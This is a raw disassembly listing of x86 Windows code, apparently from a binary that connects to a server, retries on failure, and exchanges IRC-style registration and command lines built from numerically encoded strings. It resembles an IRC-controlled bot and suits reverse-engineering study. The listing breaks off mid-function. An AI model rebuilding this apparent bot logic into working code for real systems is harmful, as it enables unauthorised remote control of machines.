		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F60
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27E0716h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470EC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E74
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C8E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 1B6h
		push	eax
		push	offset dword_4473D4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		push	edx
		push	offset dword_4472B0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 0DBh
		push	eax
		push	offset byte_4472F9
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		add	edx, 92h
		push	edx
		push	offset byte_44738B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2830000h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44735C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4472F9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F60
		mov	ecx, offset byte_44738B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44738B
		call	sub_4017E4
		mov	edx, dword_44710C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_447114
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		mov	ecx, dword_447110
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27E0716h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473D4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470EC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_4470F0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	ecx, dword_4470F4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
